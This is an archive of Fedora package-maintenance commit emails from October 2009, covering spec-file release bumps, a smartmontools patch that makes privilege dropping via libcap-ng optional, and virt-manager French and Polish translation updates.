* Mon Oct 05 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-18
- bump release for rebuild



Index: smartmontools.spec
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/F-12/smartmontools.spec,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- smartmontools.spec	5 Oct 2009 13:58:23 -0000	1.60
+++ smartmontools.spec	5 Oct 2009 14:00:45 -0000	1.61
@@ -1,7 +1,7 @@
 Summary:	Tools for monitoring SMART capable hard disks
 Name:		smartmontools
 Version:	5.38
-Release: 	17%{?dist}
+Release: 	18%{?dist}
 Epoch:		1
 Group:		System Environment/Base
 License:	GPLv2+
@@ -79,6 +79,9 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/smartmontools
 
 %changelog
+* Mon Oct 05 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-18
+- bump release for rebuild
+
 * Mon Oct 05 2009 Michal Hlaivnka <mhlavink at redhat.com> - 1:5.38-17
 - make capabilities optional
 - fix capabilities for 3ware contollers (#526626)



From mhlavink at fedoraproject.org  Mon Oct  5 14:01:40 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Mon,  5 Oct 2009 14:01:40 +0000 (UTC)
Subject: rpms/smartmontools/devel smartmontools.spec,1.60,1.61
Message-ID: <20091005140140.B16A811C00DB@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/smartmontools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26098

Modified Files:
	smartmontools.spec 
Log Message:
* Mon Oct 05 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-18
- bump release for rebuild



Index: smartmontools.spec
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/devel/smartmontools.spec,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- smartmontools.spec	5 Oct 2009 13:43:31 -0000	1.60
+++ smartmontools.spec	5 Oct 2009 14:01:40 -0000	1.61
@@ -1,7 +1,7 @@
 Summary:	Tools for monitoring SMART capable hard disks
 Name:		smartmontools
 Version:	5.38
-Release: 	17%{?dist}
+Release: 	18%{?dist}
 Epoch:		1
 Group:		System Environment/Base
 License:	GPLv2+
@@ -79,6 +79,9 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/smartmontools
 
 %changelog
+* Mon Oct 05 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-18
+- bump release for rebuild
+
 * Mon Oct 05 2009 Michal Hlaivnka <mhlavink at redhat.com> - 1:5.38-17
 - make capabilities optional
 - fix capabilities for 3ware contollers (#526626)



From mhlavink at fedoraproject.org  Mon Oct  5 14:02:21 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Mon,  5 Oct 2009 14:02:21 +0000 (UTC)
Subject: rpms/smartmontools/F-11 smartmontools-5.38-lowcap.patch, 1.1,
	1.2 smartmontools.spec, 1.56, 1.57
Message-ID: <20091005140221.8A83211C00DB@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/smartmontools/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26310

Modified Files:
	smartmontools-5.38-lowcap.patch smartmontools.spec 
Log Message:
* Mon Oct 05 2009 Michal Hlaivnka <mhlavink at redhat.com> - 1:5.38-14
- make capabilities optional
- fix capabilities for 3ware contollers (#526626)


smartmontools-5.38-lowcap.patch:
 Makefile.am  |    2 +-
 configure.in |   34 ++++++++++++++++++++++++++++++++++
 smartd.8.in  |    6 ++++++
 smartd.cpp   |   53 ++++++++++++++++++++++++++++++++++++++++++++++++++++-
 4 files changed, 93 insertions(+), 2 deletions(-)

Index: smartmontools-5.38-lowcap.patch
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/F-11/smartmontools-5.38-lowcap.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- smartmontools-5.38-lowcap.patch	3 Sep 2009 09:04:56 -0000	1.1
+++ smartmontools-5.38-lowcap.patch	5 Oct 2009 14:02:21 -0000	1.2
@@ -1,6 +1,6 @@
 diff -up smartmontools-5.38/configure.in.lowcap smartmontools-5.38/configure.in
---- smartmontools-5.38/configure.in.lowcap	2009-08-26 17:40:36.942297517 +0200
-+++ smartmontools-5.38/configure.in	2009-08-26 17:40:36.951298527 +0200
+--- smartmontools-5.38/configure.in.lowcap	2009-10-05 15:45:16.419171091 +0200
++++ smartmontools-5.38/configure.in	2009-10-05 15:45:16.425170899 +0200
 @@ -143,6 +143,40 @@ if test "$with_selinux" = "yes"; then
  	AC_DEFINE(WITH_SELINUX, [1], [Define to 1 if SELinux support is enabled])
  fi
@@ -44,7 +44,7 @@ diff -up smartmontools-5.38/configure.in
      if test "$mandir" = '${prefix}/man'; then
 diff -up smartmontools-5.38/Makefile.am.lowcap smartmontools-5.38/Makefile.am
 --- smartmontools-5.38/Makefile.am.lowcap	2007-04-01 18:49:44.000000000 +0200
-+++ smartmontools-5.38/Makefile.am	2009-08-26 17:40:36.951298527 +0200
++++ smartmontools-5.38/Makefile.am	2009-10-05 15:45:16.426170991 +0200
 @@ -35,7 +35,7 @@ smartd_SOURCES =  smartd.cpp      \
                    utility.cpp     \
                    utility.h
@@ -54,9 +54,25 @@ diff -up smartmontools-5.38/Makefile.am.
  smartd_DEPENDENCIES = @os_deps@
  
  EXTRA_smartd_SOURCES = os_darwin.cpp    \
+diff -up smartmontools-5.38/smartd.8.in.lowcap smartmontools-5.38/smartd.8.in
+--- smartmontools-5.38/smartd.8.in.lowcap	2008-03-04 23:09:47.000000000 +0100
++++ smartmontools-5.38/smartd.8.in	2009-10-05 15:46:16.711483245 +0200
+@@ -145,6 +145,12 @@ input. This is useful for commands like:
+ to perform quick and simple checks without a configuration file.
+ 
+ .TP
++.B \-C, \-\-capabilities
++Use possix \fBcapabilities(7)\fP (EXPERIMENTAL).
++
++Warning: Mail notification does not work when used.
++
++.TP
+ .B \-d, \-\-debug
+ Runs \fBsmartd\fP in "debug" mode. In this mode, it displays status
+ information to STDOUT rather than logging it to SYSLOG and does not
 diff -up smartmontools-5.38/smartd.cpp.lowcap smartmontools-5.38/smartd.cpp
---- smartmontools-5.38/smartd.cpp.lowcap	2009-08-26 17:40:36.937297475 +0200
-+++ smartmontools-5.38/smartd.cpp	2009-08-26 17:57:48.558423011 +0200
+--- smartmontools-5.38/smartd.cpp.lowcap	2009-10-05 15:45:16.412170973 +0200
++++ smartmontools-5.38/smartd.cpp	2009-10-05 15:45:16.434170827 +0200
 @@ -74,6 +74,10 @@ extern "C" int __stdcall FreeConsole(voi
  #include <io.h> // setmode()
  #endif // __CYGWIN__
@@ -68,18 +84,108 @@ diff -up smartmontools-5.38/smartd.cpp.l
  // locally included files
  #include "int64.h"
  #include "atacmds.h"
-@@ -4408,6 +4412,14 @@ static int smartd_main(int argc, char **
+@@ -179,6 +183,11 @@ static int facility=LOG_DAEMON;
+ static bool do_fork=true;
+ #endif
+ 
++#ifdef HAVE_LIBCAP_NG
++// enable possix capabilities
++static bool enable_capabilities=false;
++#endif
++
+ // used for control of printing, passing arguments to atacmds.c
+ smartmonctrl *con=NULL;
+ 
+@@ -613,6 +622,15 @@ void MailWarning(cfgfile *cfg, int which
+     if  (epoch<(mail->lastsent+days))
+       return;
+   }
++  
++#ifdef HAVE_LIBCAP_NG
++  if (enable_capabilities) {
++    PrintOut(LOG_ERR,"Sending a mail was supressed. "
++		     "Mails can't be send when capabilites are enabled\n");
++    return;
++  }
++
++#endif
+ 
+   // record the time of this mail message, and the first mail message
+   if (!mail->logged)
+@@ -1239,6 +1257,11 @@ void Usage (void){
+   PrintOut(LOG_INFO,"        Quit on one of: %s\n\n", GetValidArgList('q'));
+   PrintOut(LOG_INFO,"  -r, --report=TYPE\n");
+   PrintOut(LOG_INFO,"        Report transactions for one of: %s\n\n", GetValidArgList('r'));
++#ifdef HAVE_LIBCAP_NG
++  PrintOut(LOG_INFO,"  -C, --usecapabilities\n");
++  PrintOut(LOG_INFO,"        Use possix capabilities (EXPERIMENTAL).\n"
++		    "        Warning: Mail notification does not work when used.\n");
++#endif
+ #ifdef _WIN32
+   PrintOut(LOG_INFO,"  --service\n");
+   PrintOut(LOG_INFO,"        Running as windows service (see man page), install with:\n");
+@@ -1260,6 +1283,9 @@ void Usage (void){
+   PrintOut(LOG_INFO,"  -p NAME    Write PID file NAME\n");
+   PrintOut(LOG_INFO,"  -q WHEN    Quit on one of: %s\n", GetValidArgList('q'));
+   PrintOut(LOG_INFO,"  -r TYPE    Report transactions for one of: %s\n", GetValidArgList('r'));
++#ifdef HAVE_LIBCAP_NG
++  PrintOut(LOG_INFO,"  -C         Use possix capabilities (EXPERIMENTAL)\n");
++#endif
+   PrintOut(LOG_INFO,"  -V         Print License, Copyright, and version information\n");
+ #endif
+ }
+@@ -3890,6 +3916,7 @@ void ParseOpts(int argc, char **argv){
+     { "copyright",      no_argument,       0, 'V' },
+     { "help",           no_argument,       0, 'h' },
+     { "usage",          no_argument,       0, 'h' },
++    { "usecapabilities",no_argument,       0, 'C' },
+     { 0,                0,                 0, 0   }
+   };
+ #endif
+@@ -4030,6 +4057,12 @@ void ParseOpts(int argc, char **argv){
+       PrintCopyleft();
+       EXIT(0);
+       break;
++#ifdef HAVE_LIBCAP_NG
++    case 'C':
++      //enable possix capabilities
++      enable_capabilities=1;
++      break;
++#endif
+     case 'h':
+       // help: print summary of command-line options
+       debugmode=1;
+@@ -4408,6 +4441,16 @@ static int smartd_main(int argc, char **
    
    // don't exit on bad checksums
    con->checksumfail=0;
 +
 +#ifdef HAVE_LIBCAP_NG
 +  // Drop capabilities
-+  capng_clear(CAPNG_SELECT_BOTH);
-+  capng_updatev(CAPNG_ADD, (capng_type_t)(CAPNG_EFFECTIVE|CAPNG_PERMITTED),
-+               CAP_SYS_ADMIN, CAP_SYS_RAWIO, -1);
-+  capng_apply(CAPNG_SELECT_BOTH);
++  if (enable_capabilities) {
++    capng_clear(CAPNG_SELECT_BOTH);
++    capng_updatev(CAPNG_ADD, (capng_type_t)(CAPNG_EFFECTIVE|CAPNG_PERMITTED),
++                CAP_SYS_ADMIN, CAP_MKNOD, CAP_SYS_RAWIO, -1);
++    capng_apply(CAPNG_SELECT_BOTH);
++  }
 +#endif
    
    // the main loop of the code
    while (1){
+@@ -4482,7 +4525,15 @@ static int smartd_main(int argc, char **
+         PrintTestSchedule(ATAandSCSIdevlist);
+         EXIT(0);
+       }
+-      
++#ifdef HAVE_LIBCAP_NG
++      for(int i=numdevata+numdevscsi; i>1; i--) {
++	  if (ATAandSCSIdevlist[i-1]->mailwarn) {
++	      PrintOut(LOG_WARNING,"Mail can't be enabled together with --usecapabilities. All mail will be suppressed.\n");
++	      break;
++	  }
++      }
++	
++#endif
+       // reset signal
+       caughtsigHUP=0;
+     }


Index: smartmontools.spec
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/F-11/smartmontools.spec,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- smartmontools.spec	3 Sep 2009 09:11:34 -0000	1.56
+++ smartmontools.spec	5 Oct 2009 14:02:21 -0000	1.57
@@ -1,6 +1,6 @@
 Name: smartmontools
 Version: 5.38
-Release: 13%{?dist}
+Release: 14%{?dist}
 Epoch: 1
 Summary:       Tools for monitoring SMART capable hard disks
 Group:         System Environment/Base
@@ -79,6 +79,10 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/smartmontools
 
 %changelog
+* Mon Oct 05 2009 Michal Hlaivnka <mhlavink at redhat.com> - 1:5.38-14
+- make capabilities optional
+- fix capabilities for 3ware contollers (#526626)
+
 * Wed Aug 05 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-13
 - drop all unnecessary capabilities (#517728)
 



From mitr at fedoraproject.org  Mon Oct  5 14:06:54 2009
From: mitr at fedoraproject.org (Miloslav Trmac)
Date: Mon,  5 Oct 2009 14:06:54 +0000 (UTC)
Subject: rpms/system-config-audit/F-12 .cvsignore, 1.3, 1.4 sources, 1.3,
	1.4 system-config-audit.spec, 1.2, 1.3
Message-ID: <20091005140654.E0ECA11C00DB@cvs1.fedora.phx.redhat.com>

Author: mitr

Update of /cvs/pkgs/rpms/system-config-audit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27802

Modified Files:
	.cvsignore sources system-config-audit.spec 
Log Message:
* Mon Oct  5 2009 Miloslav Trma? <mitr at redhat.com> - 0.4.13-1
- Update to system-config-audit-0.4.13.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-audit/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	15 Sep 2009 17:08:52 -0000	1.3
+++ .cvsignore	5 Oct 2009 14:06:54 -0000	1.4
@@ -1 +1 @@
-system-config-audit-0.4.12.tar.bz2
+system-config-audit-0.4.13.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-audit/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	15 Sep 2009 17:08:52 -0000	1.3
+++ sources	5 Oct 2009 14:06:54 -0000	1.4
@@ -1 +1 @@
-58668dd6702f1fe86f11da3f93f751d4  system-config-audit-0.4.12.tar.bz2
+18e9a8d9fd27c1a22df0f8cd4638c2a8  system-config-audit-0.4.13.tar.bz2


Index: system-config-audit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-audit/F-12/system-config-audit.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- system-config-audit.spec	15 Sep 2009 17:08:52 -0000	1.2
+++ system-config-audit.spec	5 Oct 2009 14:06:54 -0000	1.3
@@ -1,7 +1,7 @@
 Summary: Utility for editing audit configuration
 Name: system-config-audit
-Version: 0.4.12
-Release: 1
+Version: 0.4.13
+Release: 1%{?dist}
 License: GPLv2
 Group: Applications/System
 URL: https://fedorahosted.org/system-config-audit/
@@ -43,6 +43,9 @@ rm -rf $RPM_BUILD_ROOT
 %config(noreplace) %{_sysconfdir}/security/console.apps/system-config-audit-server
 
 %changelog
+* Mon Oct  5 2009 Miloslav Trma? <mitr at redhat.com> - 0.4.13-1
+- Update to system-config-audit-0.4.13.
+
 * Tue Sep 15 2009 Miloslav Trma? <mitr at redhat.com> - 0.4.12-1
 - Update to system-config-audit-0.4.12.
 



From nhorman at fedoraproject.org  Mon Oct  5 14:17:50 2009
From: nhorman at fedoraproject.org (Neil Horman)
Date: Mon,  5 Oct 2009 14:17:50 +0000 (UTC)
Subject: rpms/numactl/F-11 numactl.spec,1.58,1.59
Message-ID: <20091005141750.C1BEE11C00DB@cvs1.fedora.phx.redhat.com>

Author: nhorman

Update of /cvs/extras/rpms/numactl/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31013

Modified Files:
	numactl.spec 
Log Message:
Resolves: bz526731


Index: numactl.spec
===================================================================
RCS file: /cvs/extras/rpms/numactl/F-11/numactl.spec,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- numactl.spec	29 Jun 2009 16:46:08 -0000	1.58
+++ numactl.spec	5 Oct 2009 14:17:50 -0000	1.59
@@ -1,7 +1,7 @@
 Name:		numactl
 Summary:	Library for tuning for Non Uniform Memory Access machines
 Version:	2.0.3
-Release:	1%{dist} 
+Release:	2%{dist} 
 License:	LGPLv2/GPLv2
 Group: 		System Environment/Base
 URL:		ftp://oss.sgi.com/www/projects/libnuma/download
@@ -73,6 +73,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*.3*
 
 %changelog
+* Mon Oct 05 2009 Neil Horman <nhorman at redhat.com> - 2.0.3-2
+- Bump release number to move it ahead of f10 (bz 526731)
+
 * Mon Jun 29 2009 Neil Horman <nhorman at redhat.com> - 2.0.3-1
 - Update to latest upstream version
 



From hadess at fedoraproject.org  Mon Oct  5 14:18:53 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon,  5 Oct 2009 14:18:53 +0000 (UTC)
Subject: rpms/totem-pl-parser/F-11 .cvsignore, 1.22, 1.23 sources, 1.22,
	1.23 totem-pl-parser.spec, 1.39, 1.40
Message-ID: <20091005141853.2DDCA11C00DB@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/totem-pl-parser/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31529

Modified Files:
	.cvsignore sources totem-pl-parser.spec 
Log Message:
* Mon Oct 05 2009 Bastien Nocera <bnocera at redhat.com> 2.26.3-1
- Update to 2.26.3
- Fixes DVD ISOs detection in Totem (#514425)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/totem-pl-parser/F-11/.cvsignore,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- .cvsignore	3 May 2009 01:42:39 -0000	1.22
+++ .cvsignore	5 Oct 2009 14:18:52 -0000	1.23
@@ -1 +1 @@
-totem-pl-parser-2.26.2.tar.bz2
+totem-pl-parser-2.26.3.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/totem-pl-parser/F-11/sources,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- sources	3 May 2009 01:42:39 -0000	1.22
+++ sources	5 Oct 2009 14:18:53 -0000	1.23
@@ -1 +1 @@
-daffda80cfead2a1473ca3ff71e1057b  totem-pl-parser-2.26.2.tar.bz2
+e1a7ca9937d5dc07af6e5ca6ae0297d9  totem-pl-parser-2.26.3.tar.bz2


Index: totem-pl-parser.spec
===================================================================
RCS file: /cvs/pkgs/rpms/totem-pl-parser/F-11/totem-pl-parser.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- totem-pl-parser.spec	30 Jun 2009 09:33:45 -0000	1.39
+++ totem-pl-parser.spec	5 Oct 2009 14:18:53 -0000	1.40
@@ -1,6 +1,6 @@
 Name:		totem-pl-parser
-Version:	2.26.2
-Release:	2%{?dist}
+Version:	2.26.3
+Release:	1%{?dist}
 Summary:	Totem Playlist Parser library
 
 Group:		System Environment/Libraries
@@ -68,6 +68,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/gtk-doc/html/totem-pl-parser
 
 %changelog
+* Mon Oct 05 2009 Bastien Nocera <bnocera at redhat.com> 2.26.3-1
+- Update to 2.26.3
+- Fixes DVD ISOs detection in Totem (#514425)
+
 * Tue Jun 30 2009 Bastien Nocera <bnocera at redhat.com> 2.26.2-2
 - Version the totem-devel obsolete (#508830)
 



From crobinso at fedoraproject.org  Mon Oct  5 14:19:29 2009
From: crobinso at fedoraproject.org (Cole Robinson)
Date: Mon,  5 Oct 2009 14:19:29 +0000 (UTC)
Subject: rpms/virt-manager/devel virt-manager-0.8.0-more-translations.patch, 
	NONE, 1.1 virt-manager.spec, 1.61, 1.62
Message-ID: <20091005141929.D0B5A11C00DB@cvs1.fedora.phx.redhat.com>

Author: crobinso

Update of /cvs/pkgs/rpms/virt-manager/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31766

Modified Files:
	virt-manager.spec 
Added Files:
	virt-manager-0.8.0-more-translations.patch 
Log Message:
More translations (bz 493795)


virt-manager-0.8.0-more-translations.patch:
 fr.po |   22 +-
 pl.po |  526 +++++++++++++++++++++++++++++++-----------------------------------
 2 files changed, 258 insertions(+), 290 deletions(-)

--- NEW FILE virt-manager-0.8.0-more-translations.patch ---
# HG changeset patch
# User Cole Robinson <crobinso at redhat.com>
# Date 1254751589 14400
# Node ID 67d5721a535f204db27f532e59f491f562c8ff18
# Parent  dab7da238a24f68a15c276b425d7cbf0ef544a92
Updated french and polish translations.

diff -r dab7da238a24 -r 67d5721a535f po/fr.po
--- a/po/fr.po	Thu Oct 01 12:07:14 2009 -0400
+++ b/po/fr.po	Mon Oct 05 10:06:29 2009 -0400
@@ -13,7 +13,7 @@
 "Project-Id-Version: virt-manager.tip\n"
 "Report-Msgid-Bugs-To: \n"
 "POT-Creation-Date: 2009-09-29 14:34-0400\n"
-"PO-Revision-Date: 2009-09-13 00:49+0200\n"
+"PO-Revision-Date: 2009-10-04 02:15+0200\n"
 "Last-Translator: Laurent L?onard <laurent at open-minds.org>\n"
 "Language-Team: French <fedora-trans-fr at redhat.com>\n"
 "MIME-Version: 1.0\n"
@@ -118,8 +118,7 @@
 
 #: ../src/virt-manager.schemas.in.h:19
 msgid "The number of samples to keep in the statistics history"
-msgstr ""
-"Le nombre d'?chantillons ? conserver dans l'historique des statistiques"
+msgstr "Le nombre d'?chantillons ? conserver dans l'historique des statistiques"
 
 #: ../src/virt-manager.schemas.in.h:20
 msgid ""
@@ -191,8 +190,7 @@
 
 #: ../src/virt-manager.schemas.in.h:33
 msgid "Whether to install a sound device for remote VMs or not"
-msgstr ""
-"S'il faut ou non installer un p?riph?rique de son pour les MV distantes"
+msgstr "S'il faut ou non installer un p?riph?rique de son pour les MV distantes"
 
 #: ../src/virt-manager.schemas.in.h:34
 msgid ""
@@ -265,8 +263,7 @@
 #: ../src/virtManager/addhardware.py:442
 #, python-format
 msgid "Uncaught error validating hardware input: %s"
-msgstr ""
-"Erreur non attrapp?e lors de la validation de l'entr?e du mat?riel : %s"
+msgstr "Erreur non attrapp?e lors de la validation de l'entr?e du mat?riel : %s"
 
 #: ../src/virtManager/addhardware.py:636
 msgid "Disk image:"
@@ -2180,8 +2177,7 @@
 #: ../src/vmm-add-hardware.glade.h:23
 msgid ""
 "<span weight=\"heavy\" size=\"xx-large\" foreground=\"#FFF\">Sound</span>"
-msgstr ""
-"<span weight=\"heavy\" size=\"xx-large\" foreground=\"#FFF\">Son</span>"
+msgstr "<span weight=\"heavy\" size=\"xx-large\" foreground=\"#FFF\">Son</span>"
 
 #: ../src/vmm-add-hardware.glade.h:24
 msgid ""
@@ -2529,7 +2525,6 @@
 msgstr "<b>R?acheminement</b>"
 
 #: ../src/vmm-create-net.glade.h:4
-#, fuzzy
 msgid ""
 "<b>Hint:</b> The network should be chosen from one of the IPv4 private "
 "address ranges. eg 10.0.0.0/8,  172.16.0.0/12, or 192.168.0.0/16"
@@ -2634,7 +2629,7 @@
 
 #: ../src/vmm-create-net.glade.h:21
 msgid "Enable DHCP:"
-msgstr ""
+msgstr "Activer le DHCP :"
 
 #: ../src/vmm-create-net.glade.h:22
 msgid "End Address"
@@ -2755,8 +2750,7 @@
 
 #: ../src/vmm-create-net.glade.h:53
 msgid "You will need to choose an IPv4 address space for the virtual network:"
-msgstr ""
-"Vous devrez choisir un espace d'adressage IPv4 pour le r?seau virtuel :"
+msgstr "Vous devrez choisir un espace d'adressage IPv4 pour le r?seau virtuel :"
 
 #: ../src/vmm-create-pool.glade.h:1
 msgid "<span size='x-large'>Add Storage Pool</span>"
@@ -2956,7 +2950,7 @@
 
 #: ../src/vmm-create.glade.h:21
 msgid "Error message"
-msgstr ""
+msgstr "Message d'erreur"
 
 #: ../src/vmm-create.glade.h:23
 msgid "GB"
diff -r dab7da238a24 -r 67d5721a535f po/pl.po
--- a/po/pl.po	Thu Oct 01 12:07:14 2009 -0400
+++ b/po/pl.po	Mon Oct 05 10:06:29 2009 -0400
@@ -5,10 +5,10 @@
 msgstr ""
 "Project-Id-Version: pl\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-09-29 14:34-0400\n"
-"PO-Revision-Date: 2009-07-31 02:37+0200\n"
+"POT-Creation-Date: 2009-10-04 18:47+0000\n"
+"PO-Revision-Date: 2009-10-04 21:42+0200\n"
 "Last-Translator: Piotr Dr?g <piotrdrag at gmail.com>\n"
-"Language-Team: Polish <pl at li.org>\n"
+"Language-Team: Polish <fedora-trans-pl at redhat.com>\n"
 "MIME-Version: 1.0\n"
 "Content-Type: text/plain; charset=UTF-8\n"
 "Content-Transfer-Encoding: 8bit\n"
@@ -91,11 +91,12 @@
 
 #: ../src/virt-manager.schemas.in.h:15
 msgid "Show system tray icon"
-msgstr "Wy?wietl ikon? obszaru powiadamiania"
+msgstr "Wy?wietlenie ikony obszaru powiadamiania"
 
 #: ../src/virt-manager.schemas.in.h:16
 msgid "Show system tray icon while app is running"
-msgstr "Wy?wietl ikon? obszaru powiadamiania, kiedy aplikacja jest uruchomiona"
+msgstr ""
+"Wy?wietlenie ikony obszaru powiadamiania, kiedy aplikacja jest uruchomiona"
 
 #: ../src/virt-manager.schemas.in.h:17
 msgid "Stats type in manager view"
@@ -122,11 +123,11 @@
 
 #: ../src/virt-manager.schemas.in.h:22
 msgid "The statistics update interval"
-msgstr "Cz?sto?? aktualizacji statystyk"
+msgstr "Cz?stotliwo?? aktualizacji statystyk"
 
 #: ../src/virt-manager.schemas.in.h:23
 msgid "The statistics update interval in seconds"
-msgstr "Cz?sto?? aktualizacji statystyk w sekundach"
+msgstr "Cz?stotliwo?? aktualizacji statystyk w sekundach"
 
 #: ../src/virt-manager.schemas.in.h:24
 msgid "Type of stats to graph (cpu, disk, net) in manager view"
@@ -236,11 +237,11 @@
 
 #: ../src/virtManager/addhardware.py:414
 msgid "Connection does not support host device enumeration"
-msgstr "Po??czenie nie obs?uguje wyliczania urz?dzenia hosta"
+msgstr "Po??czenie nie obs?uguje wyliczania urz?dze? gospodarza"
 
 #: ../src/virtManager/addhardware.py:418
 msgid "Libvirt version does not support video devices."
-msgstr "Ta wersja libvirt nie obs?uguje urz?dze? graficznych."
+msgstr "Ta wersja biblioteki libvirt nie obs?uguje urz?dze? graficznych."
 
 #: ../src/virtManager/addhardware.py:442
 #, python-format
@@ -292,11 +293,11 @@
 
 #: ../src/virtManager/addhardware.py:661
 msgid "Absolute movement"
-msgstr "Ruch absolutny"
+msgstr "Ruch bezwzgl?dny"
 
 #: ../src/virtManager/addhardware.py:663
 msgid "Relative movement"
-msgstr "Ruch relatywny"
+msgstr "Ruch wzgl?dny"
 
 #: ../src/virtManager/addhardware.py:666 ../src/virtManager/addhardware.py:692
 #: ../src/virtManager/addhardware.py:710 ../src/virtManager/addhardware.py:737
@@ -341,7 +342,7 @@
 
 #: ../src/virtManager/addhardware.py:689 ../src/vmm-add-hardware.glade.h:65
 msgid "Same as host"
-msgstr "Takie same, jak host"
+msgstr "Takie same, jak gospodarz"
 
 #: ../src/virtManager/addhardware.py:693 ../src/vmm-add-hardware.glade.h:27
 #: ../src/vmm-details.glade.h:22
@@ -382,7 +383,7 @@
 
 #: ../src/virtManager/addhardware.py:740
 msgid "Physical Host Device"
-msgstr "Fizyczne urz?dzenie hosta"
+msgstr "Fizyczne urz?dzenie gospodarza"
 
 #: ../src/virtManager/addhardware.py:746 ../src/virtManager/details.py:1936
 msgid "Video"
@@ -399,12 +400,11 @@
 
 #: ../src/virtManager/addhardware.py:823
 msgid "Allocation of disk storage may take a few minutes to complete."
-msgstr ""
-"Zako?czenia przydzielania pami?ci masowej dysku mo?e zaj?? kilka minut."
+msgstr "Uko?czenia przydzielania pami?ci masowej dysku mo?e zaj?? kilka minut."
 
 #: ../src/virtManager/addhardware.py:847
 msgid "Are you sure you want to add this device?"
-msgstr "Na pewno chcesz doda? te urz?dzenie?"
+msgstr "Na pewno doda? te urz?dzenie?"
 
 #: ../src/virtManager/addhardware.py:849
 msgid ""
@@ -413,7 +413,7 @@
 "\n"
 "Warning: this will overwrite any other changes that require a VM reboot."
 msgstr ""
-"To urz?dzenie nie mo?e zosta? do??czone do uruchomionej maszyny. Czy to "
+"Te urz?dzenie nie mo?e zosta? do??czone do uruchomionej maszyny. Czy to "
 "urz?dzenie ma by? dost?pne po nast?pnym wy??czeniu maszyny wirtualnej?\n"
 "\n"
 "Ostrze?enie: zast?pi to wszystkie inne zmiany wymagaj?ce ponownego "
@@ -423,15 +423,15 @@
 #: ../src/virtManager/create.py:1535
 #, python-format
 msgid "Unable to complete install: '%s'"
-msgstr "Nie mo?na zako?czy? instalacji: \"%s\""
+msgstr "Nie mo?na uko?czy? instalacji: \"%s\""
 
 #: ../src/virtManager/addhardware.py:885
 msgid "Locate Storage Partition"
-msgstr "Ustal po?o?enie partycji pami?ci masowej"
+msgstr "Ustalenie po?o?enia partycji pami?ci masowej"
 
 #: ../src/virtManager/addhardware.py:893
 msgid "Locate or Create New Storage File"
-msgstr "Ustal po?o?enie lub utw?rz nowy plik pami?ci masowej"
+msgstr "Ustalenie po?o?enia lub utworzenie nowego pliku pami?ci masowej"
 
 #: ../src/virtManager/addhardware.py:1054
 msgid "Hardware Type Required"
@@ -439,7 +439,7 @@
 
 #: ../src/virtManager/addhardware.py:1055
 msgid "You must specify what type of hardware to add."
-msgstr "Musisz poda? typ sprz?tu do dodania."
+msgstr "Nale?y poda? typ sprz?tu do dodania."
 
 #: ../src/virtManager/addhardware.py:1060
 msgid "Storage Path Required"
@@ -447,7 +447,7 @@
 
 #: ../src/virtManager/addhardware.py:1061
 msgid "You must specify a partition or a file for disk storage."
-msgstr "Musisz poda? partycj? lub plik dla dyskowej pami?ci masowej."
+msgstr "Nale?y poda? partycj? lub plik dla dyskowej pami?ci masowej."
 
 #: ../src/virtManager/addhardware.py:1064
 msgid "Target Device Required"
@@ -455,7 +455,7 @@
 
 #: ../src/virtManager/addhardware.py:1065
 msgid "You must select a target device for the disk."
-msgstr "Musisz wybra? urz?dzenie docelowe dla dysku."
+msgstr "Nale?y wybra? urz?dzenie docelowe dla dysku."
 
 #: ../src/virtManager/addhardware.py:1092
 msgid "Invalid Storage Parameters"
@@ -469,11 +469,11 @@
 #: ../src/virtManager/addhardware.py:1101 ../src/virtManager/create.py:1311
 #, python-format
 msgid "Disk \"%s\" is already in use by another guest!"
